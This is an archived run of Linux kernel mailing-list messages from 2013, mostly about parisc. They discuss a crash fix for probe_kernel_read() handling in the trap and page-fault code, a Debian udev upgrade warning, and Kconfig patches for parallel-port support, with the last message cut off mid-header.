Lines: 62
Approved: news@gmane.org
Message-ID: <524BD91E.5020200@gmx.de>
References: <20131001203520.GA8248@p100.box>   <20131001204352.GA27149@mtj.dyndns.org> <1380663645.2081.29.camel@dabdike>  <524B47A8.1010701@gmx.de> <1380667842.2081.33.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1380702507 19658 80.91.229.3 (2 Oct 2013 08:28:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Oct 2013 08:28:27 +0000 (UTC)
Cc: Tejun Heo <tj@kernel.org>, Libin <huawei.libin@huawei.com>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 02 10:28:29 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VRHnH-0006wG-1u
	for glk-linux-kernel-3@plane.gmane.org; Wed, 02 Oct 2013 10:28:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753361Ab3JBI2X (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 2 Oct 2013 04:28:23 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:49353 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753185Ab3JBI2R (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 2 Oct 2013 04:28:17 -0400
Original-Received: from [10.95.161.236] ([155.56.40.73]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MXllr-1VN7DE0USt-00Wpxd for
 <linux-kernel@vger.kernel.org>; Wed, 02 Oct 2013 10:28:15 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130923 Thunderbird/17.0.9
In-Reply-To: <1380667842.2081.33.camel@dabdike>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:ZW039hyhl1L3VcyjRRvHT1+RLZRvUdXKbXK8UNyBhnkXR4hZ5D3
 7L3qEJc4slvkNG85wsPTMVdruhP3NV5ZB3aBRU/sPLPhV47wz2lfheAJgnfmVX9V5d024MV
 swkrdL5TNTzbLDNZ6RBnUlqTwtJEQrCvETgoPnD760yc6kL99+uYa+gaft9gXwkdTvmQrbi
 Zv5T3b9Mpwt7CUJX9IcQw==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1571217 gmane.linux.ports.parisc:5356
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1571217>

On 10/02/2013 12:50 AM, James Bottomley wrote:
> On Wed, 2013-10-02 at 00:07 +0200, Helge Deller wrote:
>> On 10/01/2013 11:40 PM, James Bottomley wrote:
>>> On Tue, 2013-10-01 at 16:43 -0400, Tejun Heo wrote:
>>>> Hello,
>>>>
>>>> On Tue, Oct 01, 2013 at 10:35:20PM +0200, Helge Deller wrote:
>>>>> print_worker_info() includes no validity check on the pwq and wq
>>>>> pointers before handing them over to the probe_kernel_read() functions.
>>>>>
>>>>> It seems that most architectures don't care about that, but at least on
>>>>> the parisc architecture this leads to a kernel crash since accesses to
>>>>> page zero are protected by the kernel for security reasons.
>>>>>
>>>>> Fix this problem by verifying the contents of pwq and wq before usage.
>>>>> Even if probe_kernel_read() usually prevents such crashes by disabling
>>>>> page faults, clean code should always include such checks. 
>>>>>
>>>>> Without this fix issuing "echo t > /proc/sysrq-trigger" will immediately
>>>>> crash the Linux kernel on the parisc architecture.
>>>>
>>>> Hmm... um had similar problem but the root cause here is that the arch
>>>> isn't implementing probe_kernel_read() properly.  We really have no
>>>> idea what the pointer value may be at the dump point and that's why we
>>>> use probe_kernel_read().  If something like the above is necessary for
>>>> the time being, the correct place would be the arch
>>>> probe_kernel_read() implementation.  James, would it be difficult
>>>> implement proper probe_kernel_read() on parisc?
>>>
>>> The problem seems to be that some traps bypass our exception table
>>> handling.  
>>
>> Yes, that's correct.
>> It's trap #26 and we directly call parisc_terminate() for fault_space==0
>> without checking the exception table.
>> See my patch I posted a few hours ago which fixes this:
>> https://patchwork.kernel.org/patch/2971701/
> 
> That doesn't quite look right ... I guessed it was probably access
> rights, so we should do an exception table fixup, so isn't this the fix?
> because we shouldn't call do_page_fault if there's no exception table.
>
> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
> index 04e47c6..25a088a 100644
> --- a/arch/parisc/kernel/traps.c
> +++ b/arch/parisc/kernel/traps.c
> @@ -684,6 +684,8 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  		/* Fall Through */
>  	case 26: 
>  		/* PCXL: Data memory access rights trap */
> +		if (!user_mode(regs) && fixup_exception(regs))
> +			return;

You need to check for preempt_count()!=0 too, which has been increased by pagefault_disable() inside of probe_kernel_read().
Otherwise every simple memcpy(dest,NULL,count) (*) will sucessfully be handled here and we won't trap
on generic invalid memory accesses inside the kernel.

But basically your patch does exactly the same as mine.

Helge

(*) memcpy() uses internally pa_memcpy() which defines the fixup tables.

From - Thu Nov 08 21:09:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: optimize variable initialization in do_page_fault
Date: Sat, 5 Oct 2013 10:55:36 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <BLU0-SMTP634D29D9FAECEFE0FCFE9A97110@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-14--1049188799"
X-Trace: ger.gmane.org 1380984949 26153 80.91.229.3 (5 Oct 2013 14:55:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Oct 2013 14:55:49 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 05 16:55:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VSTGp-0002LU-Mb
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 Oct 2013 16:55:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751674Ab3JEOzs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Oct 2013 10:55:48 -0400
Original-Received: from blu0-omc4-s14.blu0.hotmail.com ([65.55.111.153]:2297 "EHLO
	blu0-omc4-s14.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751592Ab3JEOzr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Oct 2013 10:55:47 -0400
Original-Received: from BLU0-SMTP63 ([65.55.111.135]) by blu0-omc4-s14.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 5 Oct 2013 07:55:46 -0700
X-TMN: [rt+55b7Uyd3iyVvbPU3zj/gGdb0gFcDH]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.172]) by BLU0-SMTP63.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 5 Oct 2013 07:55:46 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 05 Oct 2013 14:55:46.0261 (UTC) FILETIME=[F8DD5850:01CEC1DA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5358
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5358>

--Apple-Mail-14--1049188799
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The attached change defers the initialization of the variables tsk, mm  
and flags until they
are needed.  As a result,  the code won't crash if a kernel probe is  
done with a corrupt context
and the code will be better optimized.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---


--Apple-Mail-14--1049188799
Content-Disposition: attachment; filename="fault.c.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="fault.c.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 00c0ed3..0293588 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -171,20 +171,25 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 			      unsigned long address)
 {
 	struct vm_area_struct *vma, *prev_vma;
-	struct task_struct *tsk = current;
-	struct mm_struct *mm = tsk->mm;
+	struct task_struct *tsk;
+	struct mm_struct *mm;
 	unsigned long acc_type;
 	int fault;
-	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
+	unsigned int flags;
 
-	if (in_atomic() || !mm)
+	if (in_atomic())
 		goto no_context;
 
+	tsk = current;
+	mm = tsk->mm;
+	if (!mm)
+		goto no_context;
+
+	flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 	if (user_mode(regs))
 		flags |= FAULT_FLAG_USER;
 
 	acc_type = parisc_acctyp(code, regs->iir);

From - Thu Nov 08 21:09:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix interruption handler to respect pagefault_disable()
Date: Sat, 5 Oct 2013 20:28:58 -0400
Lines: 85
Approved: news@gmane.org
Message-ID: <BLU0-SMTP320EE7B0D779332AA8137397120@phx.gbl>
References: <20131001195446.GA29580@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381019356 32413 80.91.229.3 (6 Oct 2013 00:29:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Oct 2013 00:29:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 06 02:29:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VScDl-0000sd-PN
	for glpp-linux-parisc@plane.gmane.org; Sun, 06 Oct 2013 02:29:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752759Ab3JFA3Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Oct 2013 20:29:16 -0400
Original-Received: from blu0-omc4-s23.blu0.hotmail.com ([65.55.111.162]:12759 "EHLO
	blu0-omc4-s23.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752592Ab3JFA3Q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Oct 2013 20:29:16 -0400
Original-Received: from BLU0-SMTP32 ([65.55.111.136]) by blu0-omc4-s23.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 5 Oct 2013 17:29:16 -0700
X-TMN: [cZ0UYnWQZW0bkyN7obOWYTsUQs/1jqvb]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.172]) by BLU0-SMTP32.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 5 Oct 2013 17:29:14 -0700
In-Reply-To: <20131001195446.GA29580@p100.box>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 06 Oct 2013 00:29:14.0774 (UTC) FILETIME=[15EFC360:01CEC22B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5359>

Signed-off-by: John David Anglin  <dave.anglin@bell.net>

On 1-Oct-13, at 3:54 PM, Helge Deller wrote:

> Running an "echo t > /proc/sysrq-trigger" crashes the parisc  
> kernel.  The
> problem is, that in print_worker_info() we try to read the workqueue  
> info via
> the probe_kernel_read() functions which use pagefault_disable() to  
> avoid
> crashes like this:
>    probe_kernel_read(&pwq, &worker->current_pwq, sizeof(pwq));
>    probe_kernel_read(&wq, &pwq->wq, sizeof(wq));
>    probe_kernel_read(name, wq->name, sizeof(name) - 1);
>
> The problem here is, that the first probe_kernel_read(&pwq) might  
> return zero
> in pwq and as such the following probe_kernel_reads() try to access  
> contents of
> the page zero which is read protected and generate a kernel segfault.
>
> With this patch we fix the interruption handler to call  
> parisc_terminate()
> directly only if pagefault_disable() was not called (in which case
> preempt_count()==0).  Otherwise we hand over to the pagefault  
> handler which
> will try to look up the faulting address in the fixup tables.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
> Cc: <stable@vger.kernel.org> # v3.0+
>
> diff --git a/arch/parisc/include/asm/traps.h b/arch/parisc/include/ 
> asm/traps.h
> index 1945f99..4736020 100644
> --- a/arch/parisc/include/asm/traps.h
> +++ b/arch/parisc/include/asm/traps.h
> @@ -6,7 +6,7 @@ struct pt_regs;
>
> /* traps.c */
> void parisc_terminate(char *msg, struct pt_regs *regs,
> -		int code, unsigned long offset);
> +		int code, unsigned long offset) __noreturn __cold;
>
> /* mm/fault.c */
> void do_page_fault(struct pt_regs *regs, unsigned long code,
> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
> index 04e47c6..b3f87a3 100644
> --- a/arch/parisc/kernel/traps.c
> +++ b/arch/parisc/kernel/traps.c
> @@ -805,14 +805,14 @@ void notrace handle_interruption(int code,  
> struct pt_regs *regs)
> 	else {
>
> 	    /*
> -	     * The kernel should never fault on its own address space.
> +	     * The kernel should never fault on its own address space,
> +	     * unless pagefault_disable() was called before.
> 	     */
>
> -	    if (fault_space == 0)
> +	    if (fault_space == 0 && !in_atomic())
> 	    {
> 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
> 		parisc_terminate("Kernel Fault", regs, code, fault_address);
> -	
> 	    }
> 	}
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux- 
> parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: New udev package requires CONFIG_DEVTMPFS
Date: Sun, 6 Oct 2013 12:46:50 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <BLU0-SMTP155C9515FA7D7CC729693B97120@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381078032 3514 80.91.229.3 (6 Oct 2013 16:47:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Oct 2013 16:47:12 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 06 18:47:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VSrU9-0007m4-CF
	for glpp-linux-parisc@plane.gmane.org; Sun, 06 Oct 2013 18:47:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753474Ab3JFQrJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Oct 2013 12:47:09 -0400
Original-Received: from blu0-omc4-s29.blu0.hotmail.com ([65.55.111.168]:53759 "EHLO
	blu0-omc4-s29.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751203Ab3JFQrI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Oct 2013 12:47:08 -0400
Original-Received: from BLU0-SMTP15 ([65.55.111.137]) by blu0-omc4-s29.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 6 Oct 2013 09:47:07 -0700
X-TMN: [xj77B3X3v46XRLVD1zyI0XcaqVKuP/FQ]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.172]) by BLU0-SMTP15.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 6 Oct 2013 09:47:06 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 06 Oct 2013 16:47:06.0136 (UTC) FILETIME=[B0CB2180:01CEC2B3]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5360>

I uploaded new consolekit (0.4.6-3) and systemd/udev (204-5) builds to  
the parisc Debian archive.
The new version of consolekit breaks the old version of udev.  The new  
version of udev requires
the running kernel to have been built with CONFIG_DEVTMPFS.

So, I advise not upgrading unless you have primary and backup kernels  
built with CONFIG_DEVTMPFS.

This option is not selected in at least some parisc default configs.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Salter <msalter@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2 08/14] parisc: select ARCH_MAY_HAVE_PC_PARPORT
Date: Tue,  8 Oct 2013 01:10:24 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <1381209030-351-9-git-send-email-msalter@redhat.com>
References: <1381209030-351-1-git-send-email-msalter@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1381209181 312 80.91.229.3 (8 Oct 2013 05:13:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Oct 2013 05:13:01 +0000 (UTC)
Cc: Mark Salter <msalter@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 08 07:13:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VTPbR-0006o0-Oj
	for glpp-linux-parisc@plane.gmane.org; Tue, 08 Oct 2013 07:13:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753258Ab3JHFM6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Oct 2013 01:12:58 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:28454 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752896Ab3JHFMl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Oct 2013 01:12:41 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r985Cb3Y010235
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 8 Oct 2013 01:12:37 -0400
Original-Received: from deneb.redhat.com ([10.3.113.12])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r985CA0M020195;
	Tue, 8 Oct 2013 01:12:37 -0400
In-Reply-To: <1381209030-351-1-git-send-email-msalter@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5361 gmane.linux.kernel:1574481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5361>

Architectures which support CONFIG_PARPORT_PC should select
ARCH_MAY_HAVE_PC_PARPORT.

Signed-off-by: Mark Salter <msalter@redhat.com>
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: Helge Deller <deller@gmx.de>
CC: linux-parisc@vger.kernel.org
---
 arch/parisc/Kconfig | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index ad2ce8d..9af24ac 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -1,6 +1,7 @@
 config PARISC
 	def_bool y
 	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	select ARCH_MAY_HAVE_PC_PARPORT
 	select HAVE_IDE
 	select HAVE_OPROFILE
 	select HAVE_FUNCTION_TRACER if 64BIT
-- 
1.8.3.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Salter <msalter@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH v2 14/14] Kconfig cleanup (PARPORT_PC dependencies)
Date: Tue,  8 Oct 2013 01:10:30 -0400
Lines: 73
Approved: news@gmane.org
Message-ID: <1381209030-351-15-git-send-email-msalter@redhat.com>
References: <1381209030-351-1-git-send-email-msalter@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1381209213 603 80.91.229.3 (8 Oct 2013 05:13:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Oct 2013 05:13:33 +0000 (UTC)
Cc: Mark Salter <msalter@redhat.com>,
        Richard Henderson <rth@twiddle.net>,
        linux-alpha@vger.kernel.org, Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@arm.linux.org.uk>,
        linux-arm-kernel@lists.infradead.org,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>, linux-ia64@vger.kernel.org,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-m68k@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        microblaze-uclinux@itee.uq.edu.au,
        Ralf Baechle <ralf@linux-mips.org>, linux-mips@linux-mips.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        linuxppc-dev@lists.ozlabs.org, Paul Mundt <lethal@linux-sh.org>,
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Tue Oct 08 07:13:34 2013
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1VTPbx-0006yV-PC
	for sgi-linux-mips@gmane.org; Tue, 08 Oct 2013 07:13:33 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37340 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6839455Ab3JHFNcYDWQr (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 8 Oct 2013 07:13:32 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Oct 2013 07:13:17 +0200 (CEST)
Original-Received: from mx1.redhat.com ([209.132.183.28]:36445 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S6832655Ab3JHFNMc0rIk (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Tue, 8 Oct 2013 07:13:12 +0200
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r985Cj3t013269
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Tue, 8 Oct 2013 01:12:45 -0400
Original-Received: from deneb.redhat.com ([10.3.113.12])
        by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r985CA0S020195;
        Tue, 8 Oct 2013 01:12:42 -0400
In-Reply-To: <1381209030-351-1-git-send-email-msalter@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
X-archive-position: 38249
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: msalter@redhat.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:39389 gmane.linux.kernel:1574483 gmane.linux.ports.alpha:2147 gmane.linux.ports.arm.kernel:271492 gmane.linux.ports.ia64:23429 gmane.linux.ports.m68k:5215 gmane.linux.uclinux.microblaze:12075 gmane.linux.ports.parisc:5362 gmane.linux.ports.ppc64.devel:96432 gmane.linux.ports.sh.devel:27695 gmane.linux.ports.sparc:18342
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/39389>

Remove messy dependencies from PARPORT_PC by having it depend on one
Kconfig symbol (ARCH_MAY_HAVE_PC_PARPORT) and having architectures
which need it, select ARCH_MAY_HAVE_PC_PARPORT in arch/*/Kconfig.
New architectures are unlikely to need PARPORT_PC, so this avoids
having an ever growing list of architectures to exclude. Those
architectures which do select ARCH_MAY_HAVE_PC_PARPORT in this
patch are the ones which have an asm/parport.h (or use the generic
version).

Signed-off-by: Mark Salter <msalter@redhat.com>
CC: Richard Henderson <rth@twiddle.net>
CC: linux-alpha@vger.kernel.org
CC: Vineet Gupta <vgupta@synopsys.com>
CC: Russell King <linux@arm.linux.org.uk>
CC: linux-arm-kernel@lists.infradead.org
CC: Tony Luck <tony.luck@intel.com>
CC: Fenghua Yu <fenghua.yu@intel.com>
